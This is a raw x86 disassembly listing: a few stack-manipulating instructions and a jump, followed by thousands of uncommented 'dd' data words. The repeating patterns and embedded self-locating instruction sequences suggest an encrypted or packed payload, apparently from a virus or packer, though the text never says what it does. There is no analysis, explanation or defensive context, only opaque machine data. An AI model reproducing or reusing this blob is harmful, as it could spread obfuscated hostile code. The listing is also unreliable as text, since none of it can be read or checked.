push dword ptr [esp]
pop edi
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5439D9
; ---------------------------------------------------------------------------
db 0ABh
dd 38C212Eh, 0AF196417h, 9A3B1720h, 940B5B8h, 0FFC50306h
dd 9C5DF2E0h, 44408F6Fh, 0AAB93F69h, 3105933Eh, 5A223006h
dd 6608C177h, 6660BC3Fh, 78E00D61h, 10CB8B69h, 540BA35h
dd 9CE4C35Ch, 3211B379h, 3392E047h, 148D8D6Dh, 6A060942h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0ECCEC355h, 7E94D3Dh, 3000000h, 1F9A08DDh
dd 8D892B00h, 60331D1h, 114D9D8Bh, 9D030603h, 6031455h
dd 1E185C7h, 70980603h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 4ED10DC3h, 0BDC699FBh
dd 11BFB4E1h, 0C71F009Fh, 321BD85h, 6, 2D850900h, 0FF06031Ah
dd 322F9B5h, 31852306h, 8B06031Dh, 30475B5h, 9195FF06h
dd 8B060326h, 3140D9Dh, 0FF006A06h, 31FB995h, 0EBC08B06h
dd 0E6A118h, 725CFDE8h, 0D6F8C4BAh, 0E33DB2C0h, 0E0C76369h
dd 68B3ABA9h, 0E8D8D67h, 6A060943h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 72F0C355h
dd 0BE9D3E6h, 2D000000h, 0BC4B97E9h, 1905DF7Fh, 0AE8672Eh
dd 40000000h, 4FDE7509h, 0E92C5432h, 0CDBD09D0h, 5F06031Ch
dd 31D18D89h, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 958998C3h, 6032A75h, 85C7D18Bh
dd 60301E1h, 6B9Ch, 21BD85C7h, 603h, 10E80000h, 20000000h
dd 0A719AC63h, 8587FDF5h, 35964F62h, 58E8C06Ch, 1375B5FFh
dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 82C94DC3h, 0EE4D2EDFh, 0FF2DDA59h, 3269195h
dd 0E58D8906h, 6A06030Ch, 0B995FF00h, 8B06031Fh, 8A2CEBC0h
dd 0EB3A9937h, 0D2343C93h, 0A36D01DDh, 312039C0h, 95C1BB05h
dd 0D11834D2h, 0C2866C13h, 0F20F266Dh, 6EB2436Ah, 4F0492A2h
dd 0E807C978h, 6, 0B9150920h, 8B5F461Ch, 32971B5h, 0BFC78106h
dd 0BB000070h, 1BFAh, 0A79B589h, 0F8B0603h, 13E9h, 3F44B100h
dd 5B445DFEh, 0BDD0718Dh, 0C9000D9Bh, 3F85827Fh, 0CE2AF181h
dd 0CE865E2h, 22000000h, 54680A82h, 5E153C82h, 0F6B64D9h
dd 18Bh, 8158F800h, 2B6C1C1h, 19BD3120h, 81060309h, 1AA76E9h
dd 290F890Fh, 3304D95h, 28EF8106h, 8164359Ah, 359A24C7h
dd 0BE964h, 51C0000h, 0E0BEB1F8h, 4FC7C806h, 1EB8325h
dd 24850Fh, 0DE90000h, 71000000h, 86BB725h, 3683F648h
dd 0B2EF5AEh, 2EE9h, 7163D300h, 67024F2Eh, 0EDD9098Ch
dd 870F659Ch, 6, 26ED852Bh, 53E90603h, 4BFFFFFFh, 0B52BD1C0h
dd 749EF1B1h, 7011E0DFh, 53B55AA6h, 5DB13EE8h, 0ACF23256h
dd 55F201EEh, 0ABB13256h, 0D5B13256h, 0EAE87FACh, 75EB5C83h
dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13254h, 57B83581h, 0ABB63253h, 0D5B33254h, 0E9EA327Ch
dd 77F63256h, 0B8F63256h, 5DA0F27Dh, 0B4743256h, 0B1F01A1Dh
dd 0D9CCE671h, 6BC87295h, 0BA845E49h, 13D16006h, 0A958E4DDh
dd 52B13256h, 85CB97CAh, 50F713DEh, 8636F62h, 2AAF6BF6h
dd 0E5D0279Ah, 15E36267h, 0EA803D37h, 7803D04h, 0F4E9680Eh
dd 89A8A40Eh, 4164BEE9h, 3CB1B98Dh, 0EAB1325Ah, 26F3BF72h
dd 153FBBC6h, 962B77EAh, 0AA9576DFh, 0BE2D6136h, 0ABB13253h
dd 392E0CAFh, 3279B3E3h, 9CD420B8h, 0BAB13250h, 3035A540h
dd 0F62C01F4h, 57A5DBCAh, 8EAD3256h, 74B999ACh, 3705B590h
dd 0AC911104h, 2FFD4DC8h, 0A831A9FCh, 0AEBDDB20h, 1A553256h
dd 0E2E12154h, 0D0CD5D18h, 8B2CB90Ch, 7A58030Eh, 0D1B13256h
dd 1A37539Eh, 4DA3AF22h, 68EFABB6h, 0F3EB675Ah, 0D19576DFh
dd 0EAB134BFh, 0D1860456h, 0E262F05Bh, 5DB1325Ah, 0DD539F92h
dd 989F9B66h, 408B570Ah, 0C9B7C4D7h, 0E6582C6Fh, 81B13256h
dd 0DAD2A04Bh, 0D10EEC4Fh, 336AD883h, 0DD029E2h, 0ABB16A0Eh
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 54F7ECBCh
dd 2834BF50h, 0DEB73AC7h, 0A2F506D4h, 0B433BF50h, 63B73BE4h
dd 7CF50AD4h, 0B3FFDA50h, 26593256h, 69B13256h, 5EF516D4h
dd 0ABB13250h, 50776056h, 0ECB21D6Fh, 0CDE35A00h, 0F4EAEFEh
dd 5BB21A9Fh, 0DD0DB7DBh, 874E3450h, 0B020B7DFh, 0D1DB3455h
dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h
dd 5EF516D4h, 8333BB50h, 6CB73B12h, 0EAB23F16h, 0B582CADDh
dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 3A23CD56h
dd 8FB7314Dh, 0AEC9B0DFh, 0FED0345Fh, 0B3F516D3h, 9AD1F150h
dd 0ADA38FD4h, 17B13250h, 233F556h, 0D5B73170h, 8BB13246h
dd 0CF3A5295h, 0BCB87672h, 29B10DD5h, 0BECEB175h, 0D4BA4654h
dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h
dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h
dd 0AD62D8D7h, 0C73A345Fh, 0BCB8762Ah, 0D4B977DDh, 0D233B150h
dd 53B73B12h, 0AF73FB37h, 0D5595256h, 0B0B13256h, 3246D8D7h
dd 83A345Fh, 5BB8762Eh, 0EACD806Dh, 6CC5345Fh, 743A0CDDh
dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h
dd 0A8B23267h, 7560BFDDh, 738A3455h, 0C8A3B24h, 2C323721h
dd 4E78D952h, 33B94699h, 5E93E3EBh, 0CF06D950h, 57595295h
dd 0F1B13256h, 9DFED8D7h, 503A345Fh, 73B8762Eh, 0BAB032EFh
dd 0AE710156h, 0D633B9FDh, 0DEB73B12h, 0A2F54ED4h, 0B5725350h
dd 0EAB132BEh, 9F306856h, 0BCB87A2Fh, 7288B790h, 0C6E73455h
dd 83AE5F6Fh, 837887A9h, 503C3455h, 0ECB741EAh, 25E3E2A9h
dd 0BA31323Eh, 0A2B15856h, 0A7F516E4h, 0F61CD50h, 2BB15A0Ch
dd 0D5DB3256h, 0AEC980A9h, 0A54E345Fh, 31E4F137h, 5D5952BAh
dd 0F4B13256h, 1F76D8D7h, 0DE3A345Fh, 0D729DA5Eh, 15E43256h
dd 7CF506C4h, 0CF8A6F50h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h
dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h, 0F24AD8D7h
dd 283A345Fh, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h
dd 784E67AEh, 73B87662h, 0B6C4090Bh
dd 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h
dd 24D4FDFh, 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h, 25E4325Ah
dd 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h, 7CF556D4h
dd 0BAB13350h, 55C4B956h, 25AFB930h, 5EF516ECh, 0A3EEB950h
dd 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h
dd 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h
dd 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h
dd 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h
dd 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h, 51BE42ADh
dd 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h
dd 239C0CD6h, 0C38FB26Eh, 574E0122h, 0ECB87632h, 0F5AFB930h
dd 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h, 6B30C9D7h
dd 80D12122h, 0AE85A0A9h, 0FCEC345Fh, 39D0CE13h, 28B0CE2Bh
dd 130BB935h, 7B73144h, 0EFD5B0DDh, 0E988345Fh, 0BAC36A66h
dd 531888DDh, 31E13455h, 54F556D4h, 9E8D0B50h, 0BC8C4D0Eh
dd 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh, 9E0BB956h
dd 0D6B73B12h, 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h
dd 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h
dd 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h, 9EA74626h
dd 53B6F464h, 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh
dd 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h
dd 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h
dd 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h, 0D733BF09h
dd 0FBB73B12h, 0ED23CD00h, 0E1B73B12h, 0FEBB4696h, 3A03BF9Eh
dd 0B6B73B12h, 603A6446h, 6323CD03h, 0F6B73B12h, 0C46FC7Dh
dd 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h
dd 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh
dd 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh
dd 0B55DB903h, 0EAB132BEh, 9F306856h, 0BCB8790Fh, 0D4B977DDh
dd 0A7F51ED4h, 95785350h, 20E43252h, 2D75B1BAh, 0EAB1DA36h
dd 0F4EB3256h, 0B3FA48BCh, 0A5F4F550h, 0AEB13256h, 574D7791h
dd 98B13256h, 0CB3A5496h, 0AED5B091h, 75B0345Fh, 3BD73256h
dd 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh
dd 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h
dd 58313DADh, 0ABB1D7D2h, 80333156h, 0AAB7314Ah, 7A53C9D6h
dd 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h, 0A45255ADh
dd 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h, 433A5456h
dd 2E49D1D6h, 10C58AADh, 0DFB40CD6h, 0F88FB214h, 0D4310F22h
dd 3589463Eh, 0FED5B0A9h, 0D6D7345Fh, 5656B248h, 0D64AB330h
dd 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h, 284E6736h
dd 5BB87662h, 52F4BB0Bh, 0ABCCB137h, 83343D57h, 5EB13257h
dd 0E9A38FECh, 0F73A6250h, 0BCB87632h, 5810E6Fh, 0AFA0B059h
dd 0ED3A3256h, 0ADB214FFh, 0B133B906h, 0D3B73B12h, 7AE9026Ah
dd 0BAB1C8D9h, 750BB956h, 2DB73B12h, 5EF51AD4h, 9C382650h
dd 85A175DFh, 0AED5B0DDh, 693A345Fh, 0E5386A66h, 5D64DB5Eh
dd 0EB763256h, 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h
dd 73B8767Eh, 0FE99B0D5h, 0D4A5345Fh, 0BEF6BB61h, 22B2CAD5h
dd 0CF33F55Ah, 0D7B73B12h, 1B13256h, 7749B153h, 0C7326D2Bh
dd 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h
dd 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 19D5A8DDh, 0AA3A345Fh
dd 57186965h, 0DE313256h, 56773142h, 68B23796h, 73B87632h
dd 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h, 29B23796h
dd 0D3B87632h, 0E2F6BB1Eh, 9EBD75DFh, 30710168h, 0DD193310h
dd 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh, 4971A8DCh
dd 9631345Eh, 33723157h, 1A383A11h, 59A5D95Ah, 574E178Eh
dd 6D9A3256h, 1532EAA1h, 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h
dd 9932DEDDh, 0AE5952AAh, 0DB13256h, 0E63AD8D7h, 6F3A345Fh
dd 0ECB87672h, 4A32FB65h, 78353D56h, 0D6B13256h, 0A2C4CD51h
dd 7B947A9h, 0ABB041BEh, 56B44156h, 85A2691h, 8A4D77DFh
dd 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h, 0EE3A3256h
dd 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h, 22323A22h
dd 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h, 295A99A5h
dd 70A14DD5h, 0C5323D22h, 4CC43446h, 0AAF6B917h, 0BCBD6DDDh
dd 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h
dd 59E6B904h, 0ADA1677Dh, 83A2603h, 286B195Ah, 3EEB37BDh
dd 0EEF6B944h, 5EBD6DDDh, 51323609h, 103B3153h, 2DB73178h
dd 22B22229h, 729A7357h, 0D4B06EDFh, 154ECDEEh, 75B48BA9h
dd 11423256h, 0A24E64BFh, 6C7853A9h, 0DCE43246h, 5775B1BAh
dd 0D5B1DA36h, 6BEB3256h, 7CFF44BCh, 9E0BB950h, 6EB73B12h
dd 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h, 2E13A23h
dd 75B132DEh, 7D323725h, 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah
dd 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh, 394D77A9h
dd 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h, 0D008CDA9h
dd 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h, 0EFA04750h
dd 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h, 0FEB575DDh
dd 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh
dd 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh, 5DB9F09Fh
dd 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h
dd 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h, 57B13256h
dd 0E75BB30Ch, 0E6B73B19h, 636A019Fh, 0CF3ACE0Bh, 0BCB87672h
dd 29B10DD5h, 518EB132h, 90323723h, 2840D942h, 0A1B13629h
dd 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh
dd 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h, 323A2FBDh
dd 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh
dd 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h, 5DB137EFh
dd 451AC156h, 123A53C1h, 0FB72FBAAh, 0D5596107h, 0B0B13256h
dd 3A66D8D7h, 203C345Fh, 5BB8766Ah, 0AEB156EEh, 5763DA56h
dd 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h, 7B8A221Dh
dd 5F5A3024h, 0BC5A26BDh, 0FFAFA8DBh, 784E345Fh, 4F3C3ABDh
dd 0ECB89912h, 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh, 2FEB3256h
dd 5EE114BCh, 113C5250h, 0D3B8766Ah, 63B977DDh, 79F4B951h
dd 31B575DFh, 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh
dd 0EC34F436h, 0ADB73179h, 62C2283Eh, 7304CDFEh, 0D0B7317Eh
dd 0A8C28ED3h, 561CD50h, 0EFD9B8DBh, 2AE0345Fh, 683C6886h
dd 73B8763Eh, 0B6F18559h, 52E3EADDh, 6DB26867h, 4878B0DFh
dd 0C3D03455h, 0E85251h, 5A000000h, 5097EA81h, 8B520609h
dd 31FC982h, 4E6DB906h, 0E1F741C6h, 3039055Ah, 0FF250000h
dd 897FFFFFh, 31FC982h, 0C3595A06h, 0E85251h, 5A000000h
dd 50C7EA81h, 0C88B0609h, 0FFFFBBE8h, 0F7D233FFh, 5AC28BF1h
dd 0C08BC359h, 858DC08Bh, 60946D8h, 8B66D0FFh, 90858DC1h
dd 89060950h, 3316D85h, 0C0858D06h, 89060950h, 3291185h
dd 0B806h, 0C00B0000h, 47840Fh, 85C60000h, 6032F39h, 30DF6856h
dd 0B5FFA9C5h
dd 60328C9h, 73BC858Dh, 0D0FF0606h, 498D8D50h, 5106031Fh
dd 68046Ah, 0FF000010h, 30121B5h, 8BD0FF06h, 30121BDh
dd 3C7F0306h, 0F8C781h, 47C70000h, 2024h, 8D9D8D60h, 8B06031Fh
dd 0FC00B03h, 584h, 89008B00h, 0F6B90443h, 0E800234Ch
dd 0Fh, 0C7044A6Eh, 69CF5DCBh, 0E161A257h, 0FF44F30h, 28Ch
dd 5BE28A00h, 2890F57h, 60000000h, 0C3815961h, 74B8h, 66D78A60h
dd 6136A1B9h, 1CF668h, 5EEC8A00h, 204FF081h, 3B8B54A8h
dd 3727A5BAh, 0E2EF8150h, 0F7A7589h, 289h, 8198B000h, 435EC1C7h
dd 0D68B6632h, 0A27EEF81h, 0E8564132h, 6, 0FBD2D293h, 0BE9E00Dh
dd 43000000h, 6892DE0Eh, 1C77B88Ch, 5A587EE4h, 0AE83B89h
dd 0DE000000h, 3D8926BFh, 267F0D88h, 0C18166C9h, 815A9F42h
dd 0C613B7EBh, 12830F4Bh, 0F000000h, 0C83h, 7E900h, 0E8880000h
dd 0D531D0B5h, 0B3C3812Bh, 0B64BC613h, 1EE8171h, 0F000000h
dd 0FFFF7585h, 15850FFFh, 0E9000000h, 10h, 33CD7AD2h, 0A2F1ADF4h
dd 0FB3832ABh, 0F1F41753h, 53158D8Dh, 6A0609h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 66BF1EC3h, 850F0E10h, 1, 0D18D89F5h, 6A060331h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0ABE0C352h, 3FBFE7F8h, 0E90AC26Fh, 0Ah, 2C977456h, 13F33D42h
dd 85C72A56h, 60301E1h, 6938h, 209D858Bh, 85C70603h, 60321BDh
dd 0
dd 43EA8166h, 0CDB5FF20h, 0F060310h, 95FFD6BFh, 6032691h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8C35242h
dd 6AC571h, 1FB995FFh, 0C08B0603h, 5D330EEBh, 0BC365167h
dd 0B02807B8h, 5C40023Eh, 5E8h, 0ABE1AA00h, 858BE5ABh
dd 6032219h, 3800F5Fh, 0F000000h, 0C781C1BFh, 64C7h, 6882F080h
dd 0
dd 707BB966h, 0B5B5895Eh, 0FF06032Dh, 5BF83E34h, 1AD3EB81h
dd 0EB810856h, 47AAD90Bh, 122D8529h, 0EB810603h, 6EB57903h
dd 8DD8D03h, 0F530603h, 48FCAB7h, 0E9815637h, 71BB2F5Fh
dd 28E0F59h, 8B000000h, 4EE83D3h, 22858531h, 0FE810603h
dd 0FFFF9BC8h, 0FFB1850Fh, 8B60FFFFh, 324118Dh, 9D896006h
dd 6031E51h, 23AD858Bh, 61610603h, 546B08EBh, 4074h, 87E90000h
dd 6800000Bh, 6095550h, 0FAEE83E9h, 569C68FFh, 79E90609h
dd 68FFFAEEh, 6095876h, 0FAEE6FE9h, 599968FFh, 65E90609h
dd 68FFFAEEh, 6095B26h, 0FAEE5BE9h, 5D0E68FFh, 51E90609h
dd 68FFFAEEh, 6095DFEh, 0FAEE47E9h, 57F710FFh, 0E783A7C5h
dd 75113775h, 7A7C1E7h, 96305715h, 0F368B084h, 822032D4h
dd 1E5CCE64h, 0ABC95BF7h, 247EEC8Eh, 0D4F0E6F9h, 7E0EA1A8h
dd 3AE00505h, 3CDEFBBBh, 0C19DF92Eh, 918A0D64h, 36EEADA4h
dd 0CD9DF413h, 0BA1A290h, 0E487FE8Bh, 0A1A290EEh, 0FDF3DD2h
dd 0AE98935Bh, 4CC4h, 1074DF00h, 0DDF81732h, 0A18094C2h
dd 0C7B262A7h, 0A491214Ch, 146F8AADh, 0A1A29142h, 244604BCh
dd 0B0450786h, 26564DCh, 0A1A29148h, 0C1C06280h, 0C3C2688Dh
dd 0CA77D56Ah, 3DC527FCh, 0C6C76781h, 9A4CF386h, 3AE988Eh
dd 0DEh, 3AE00598h, 3ADCFBBBh, 0F9E1C01Fh, 7A7A180h, 0CB8BEA9Fh
dd 0C98D0CAEh, 7D1C0EACh, 0A7A18527h, 52C06A8Fh, 0F8BFD87Bh
dd 0FB867675h, 0E991B40Eh, 0B1D1CDE8h, 25D09011h, 9BBE9CF8h
dd 6BAFF1Bh, 4A04FA62h, 0ED28DD9Dh, 0A4DA5792h, 63F1A1ADh
dd 841F583Ch, 0A1A2D9D2h, 0FED1742Ch, 0A1A2D9E8h, 4BEEAE16h
dd 0A468F168h, 8EAB6BABh, 0EFF989F7h, 0CBAAF156h, 0ABA88A9Fh
dd 0CF9B979h, 10B6DDD1h, 0AF476C02h, 0C4E6D93Fh, 0B0AB2628h
dd 959h, 9E8C3255h, 0E1CBED8h, 0B8AA4C68h, 2E3CE2FAh, 59CB6B88h
dd 0F342D4Dh, 9FC7E577h, 32531103h, 0C9EC8290h, 0B4613321h
dd 0A8D58DDDh, 48234BA1h, 1F3ADE05h, 0FFBF5F79h, 7E981A3Fh
dd 0EE9BDDDCh, 0C2436604h, 0A180F7E3h, 0D19101A7h, 10741443h
dd 31593857h, 0CFA7A180h, 8020B657h, 66DEA7A1h, 0EAFC7247h
dd 0F4B4DB3Bh, 9E345D51h, 6DA85D1Fh, 0E583B56h, 0E6A7A158h
dd 0E6A627C3h, 0ADC88A0Ah, 39CC8C0Dh, 0A4490BA6h, 6C6DD5ADh
dd 0A269410Dh, 46A67DA1h, 97B6F2A4h, 10E6BAEh, 62700000h
dd 0B378AC47h, 7EDE458Ch, 0A1BECB9Fh, 5BFF1BA7h, 2F761A5Ah
dd 8CEFA119h, 4431F122h, 52DCBEEh, 0D921A908h, 67DFA7A1h
dd 27BFE5A7h, 0FF246667h, 19076667h, 55A7A1DCh, 0DA988A30h
dd 0A99A1BBFh, 4D1D74EDh, 8BA7A1DEh, 97EE4B0Bh, 0ADA4C650h
dd 0E3F7CEE5h, 1DA1A2F5h, 0C7077D44h, 965635B1h, 0A7B56DE3h
dd 45D71470h, 97991B9Dh, 680B2EEEh, 53F9EEA3h, 0C61DE8B9h
dd 0A48C67EFh, 341181ABh, 98BD597Eh, 0CF74627Dh, 1282ABA8h
dd 46B09EB3h, 4A3FE09Ah, 5CDDFAB8h, 0A8041545h, 7333E3ABh
dd 0C560AF63h, 9A857C28h, 80Dh, 42D07E99h, 0F2600A2Ch
dd 6CFE98BCh, 92802E4Eh, 0D1FB7DCh, 5B78E139h, 0EB0BA9BBh
dd 7EA7C557h, 153076E4h, 40DDE775h, 0A8D67961h, 0FCF787A1h
dd 1D38DE05h, 80FBEFC6h, 9D05A7A1h, 9A1BB7DFh, 0C6C72FDAh
dd 809EC8ABh, 0BA78A7A1h, 0BAFAFB9Fh, 92B70FFAh, 25B24DE8h
dd 6FDCB3Ah, 403FC7B2h, 2AC9C362h, 0F59CC08Fh, 287A200h
dd 9A6B022h, 0AF2EEE6Eh, 3220CAEFh, 0E9C8890Dh, 0A7A105E1h
dd 42E7A71Fh, 0A4230463h, 0E1E050ADh, 47E288ADh, 0F5802A4Fh
dd 54762C69h, 4663C3B6h, 2B4225A4h, 0A28E408h, 0F496B3F3h
dd 8DC6B3F5h, 47E500AFh, 9CB97925h, 4E786E41h, 1E862AE8h
dd 0C0E59B6Bh, 0C77D91FBh, 15F0E77Ch, 0D83F9E96h, 0AC2DED2Ah
dd 0E82982CDh, 0E17B582Ah, 37A30259h, 0C12AE829h, 0EB0EA451h
dd 0C64BEA4Fh, 2FBB1A9Fh, 292AE874h, 1DD54869h, 556BFB8Eh
dd 680B8A30h, 2AE88665h, 79587782h, 2AE88611h, 517537EFh
dd 0A587DCA9h, 72F0C29Dh, 0ECCF7768h, 0DA80A519h, 6B0F2A48h
dd 210737CEh, 631EFEE1h, 0AAEEDF96h, 4F0FABCEh, 8034CFEAh
dd 0E8264B6h, 90B72EDBh, 0AC20EDD7h, 553166F4h, 1AC5DC79h
dd 0FE3EE8C8h, 83A3E346h, 7C5B1AEFh, 5E872146h, 0C38504C4h
dd 0F5145F36h, 752A3EEEh, 2EA35797h, 0D91C1B4Ch, 0A7000003h
dd 1F7BA50Bh, 0C8FE643h, 68ADA4B0h, 2AE88EAAh, 3769680Eh
dd 3DE9E877h, 42EB37Ch, 2C87A280h, 2AB6A8FDh, 0D87EA51Fh
dd 0F0949918h, 9454F610h, 0DED0DEB1h, 0DC7720B2h, 0B64B1DE1h
dd 369A6F49h, 718CAB8Eh, 0BA82481Eh, 7B0EB634h, 6999EBBh
dd 34BA8250h, 2436F6AEh, 9EC56386h, 84A838F8h, 93AFD6DEh
dd 633C7DEh, 58730000h, 0E406A4B6h, 7296D446h, 82046D4h
dd 91B6F466h, 71767F5h, 83913552h, 3F2DC5EDh, 0A8BA5879h
dd 0D94BEF0Ah, 53079E87h, 0ADA1A8D8h, 2062A61Dh, 80A66406h
dd 0AAEE17E2h, 735269CCh, 0A7A18067h, 42632191h, 9A6F21A0h
dd 0A601647Fh, 0E353ADA4h, 1E482B46h, 0F8A1A2A6h, 70324D38h
dd 7634B555h, 7333B250h, 7634B559h, 7434B551h, 0BD62FA9Fh
dd 75AB81D6h, 0B1103511h, 0ABA7805Ah, 8E2C3EE6h, 0EBCECF6Bh
dd 0CCE5F5CCh, 4213ABA7h, 1F3B1E35h, 9D6828A3h, 67660421h
dd 6564FE27h, 65640221h, 0A5456123h, 12EA8F24h, 0E0E18DAFh
dd 1B32E0A0h, 91F5E5FCh, 9103ABA7h, 6613D373h, 4560CF2Dh
dd 1C96B7A5h, 75A85DF5h, 0A8958EC1h, 0B553772Fh, 7735F58Dh
dd 10C0B551h, 290h, 321074ABh, 0D468BC17h, 2AEAADAAh, 0D773970Fh
dd 24E396D6h, 278E7609h, 4342E001h, 413AA001h, 0B7DC5623h
dd 486F0D1Fh, 8A082FAEh, 8BCDCC72h, 5B6E67FEh, 81A4A1A8h
dd 0B82DC9D9h, 7FA22C5h, 5101Ch, 0D37B9C00h, 63072341h
dd 0F195B3F1h, 832B4D63h, 12B4D391h, 7FE43400h, 0EACBE58h
dd 9AD84AE8h, 3775E77Bh, 0D8FA6812h, 0D974627Dh, 0FA82A1A8h
dd 24C36281h, 4CE328DEh, 9A1BBFDAh, 0A66F1ADAh, 0A2104E2h
dd 3FCA6C88h, 0AAD370A4h, 931282ADh, 0F016B6D3h, 0E2809252h
dd 8C0623C7h, 0BC37C26Ch, 67FF2599h, 0DBF7E3C2h, 9101A1A8h
dd 8D2B4EE4h, 8E0FCF67h, 0D51DFFDCh, 9B1AB8D9h, 0ADDEF8D9h
dd 42690D96h, 30DAFFB7h, 6C47F322h, 0B9B0AE92h, 95000001h
